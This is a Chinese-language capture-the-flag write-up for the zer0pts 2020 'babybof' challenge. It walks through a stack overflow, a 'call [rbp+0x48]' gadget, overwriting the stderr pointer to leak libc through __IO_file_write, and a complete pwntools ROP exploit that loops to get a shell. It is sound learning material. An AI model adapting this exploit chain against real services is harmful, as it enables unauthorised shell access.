代码分析
main函数
main函数下就只有一个read函数,且是一个很明显的栈溢出漏洞,但是程序没有其他能够可以泄露出来的函数例如:printf、puts,在遇到这种情况,很有可能是要利用read函数的偏移去得到syscall的gadget,所以我们现在检查一下程序的保护机制
保护机制
很明显我们上面想的操作并不能实现,因为RELRO保护是Full RELRO,我们不能修改got表,所以并不能修改read的libc地址,所以下面我们最好是看看有没有可以利用的gadget
搜索gadget
这里发现了在0x000000000040043e的gadget :call qword ptr [rbp + 0x48]
思路
可以控制rbp地址为存放我们要执行的地址-0x48的位置就可以指向该地址的指令,所以网上看到的大多数解法都是修改stderr等在bss段上的libc地址,通过爆破1/4096次概率getshell,但是做这题时,我想到pwnable.tw上的一道题**De-ASLR**,通过这题了解到了我们可以利用stderr等IO_File地址实现泄露libc地址,这是学习文章
所以我随之想到了可以利用这个方法实现,在文章中它使用条件是
- 利用
gets函数在bss上留下_IO_2_1_stdin地址
- 利用
_libc_csu_init的上的gadget精确定位地址我们要的__IO_file_write函数
- 在
bss上伪造fileno==1和flag2==2满足__IO_file_write函数泄露地址要求
我们在上面有只有一个不满足即是这个程序编译时没有_libc_csu_init所以我们无法精确定位对应的位置,所以我们这里大概率还是需要去猜地址
所以我们现在需要看看_IO_2_1_stder等地址与__IO_file_write函数距离是多少,如果只是后2字节不一样,那么我们只用爆破1/16次的概率
gdb找偏移
可以很明显看到,这个偏移不会超过两个字节,所以我们现在爆破概率就变成了1/16的概率
所以我们现在就只需要修改stderr的值为存放__IO_file_write函数的地址值,通过leave_ret栈迁移到这个位置上(当然也可以pop rbp),使得rbp等于存放__IO_file_write函数的地址值
然后再bss上伪造fake_IO_FILE,实际上就是满足fileno==1和flag2==2其他都可以不用管,然后在我们设置好__IO_file_write函数调用的参数:
然后我们就可以泄露出来libc地址了,再通过我们栈布局提前布置ROP在构造一个read,就可以继续写入ROP chain,然后getshell
坑点
我们call qword ptr [rbp + 0x48]的gadget实际上是在setup函数偏移构成,所以我们还需要绕过这段函数:
1 2 3 4 5 6 7 8 9 10 11
| mov rax, offset stdin@@GLIBC_2_2_5 mov rdi, [rax] ; stream call _setbuf mov rax, offset stdout@@GLIBC_2_2_5 mov rdi, [rax] ; stream call _setbuf mov rax, offset stderr@@GLIBC_2_2_5 mov rdi, [rax] ; stream call _setbuf pop rbp retn
|
因为此时此刻stderr已经被我们修改为存放__IO_file_write函数的地址值,这段肯定是通过不了,因为要一个IO_FILE结构指针,所以我们可以在call __IO_file_write前把stderr的值恢复回去(因为如果我们预测对了__IO_file_write的值,那么stderr的地址肯定也是那个值),然后再执行就可以绕过去了
并且我们不能直接用system("/bin/sh"),这里最好是用execve("/bin/sh",0,0)系统调用来getshell
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65
| from pwn import* context(arch='amd64', os='linux',log_level="debug") context.terminal=["wt.exe","wsl.exe"] libc = ELF("./libc-2.23.so")
def get_p(name): global p,elf p = process(name,env={"LD_PRELOAD":"./libc-2.23.so"}) elf = ELF(name)
pop_rdi = 0x000000000040049c pop_rsi = 0x000000000040049e pop_rbp = 0x000000000040047c leave_ret = 0x0000000000400499 stderr = 0x0601040 call = 0x000000000040043e ret = 0x000000000040047d def pwn():
get_p("./zer0pts_2020_babybof")
payload = b"A"*0x20 + p64(stderr) + p64(pop_rsi) + p64(stderr) + p64(elf.plt['read']) payload += p64(pop_rsi) + p64(stderr + 0x200) + p64(elf.plt['read']) payload += p64(pop_rsi) + p64(stderr+8) + p64(elf.plt['read']) payload += p64(pop_rsi) + p64(stderr) + p64(leave_ret) p.send(payload) sleep(0.2) p.send(p16(0x6758-0x48)) sleep(0.2) p.send(p64(1)+p64(2)) sleep(0.2) p.send(p64(ret)*0x20 + p64(elf.plt['read']) + p64(pop_rsi) + p64(elf.got['read']) + p64(pop_rdi) + p64(stderr + 0x200 - (0x8*14)) + p64(call)+ p64(0)+ p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(0x6011a0)+p64(elf.plt['read'])) sleep(0.2) p.send(p16(0x8540)) libc.address = u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00")) - libc.sym['read'] if libc.address == 0 : exit(0)
while True: try : libc.address = 0 pwn() system = libc.sym['system'] binsh = next(libc.search(b"/bin/sh")) pop_rax = 0x0000000000033544 + libc.address pop_rdx = 0x0000000000001b92 + libc.address syscall = 0x00000000000026bf + libc.address payload = b"/bin/sh\x00" + p64(pop_rax) + p64(0x3b) + p64(pop_rdi) + p64(0x6011a0) + p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(0) + p64(syscall) p.send(payload) p.interactive() except: p.close()
|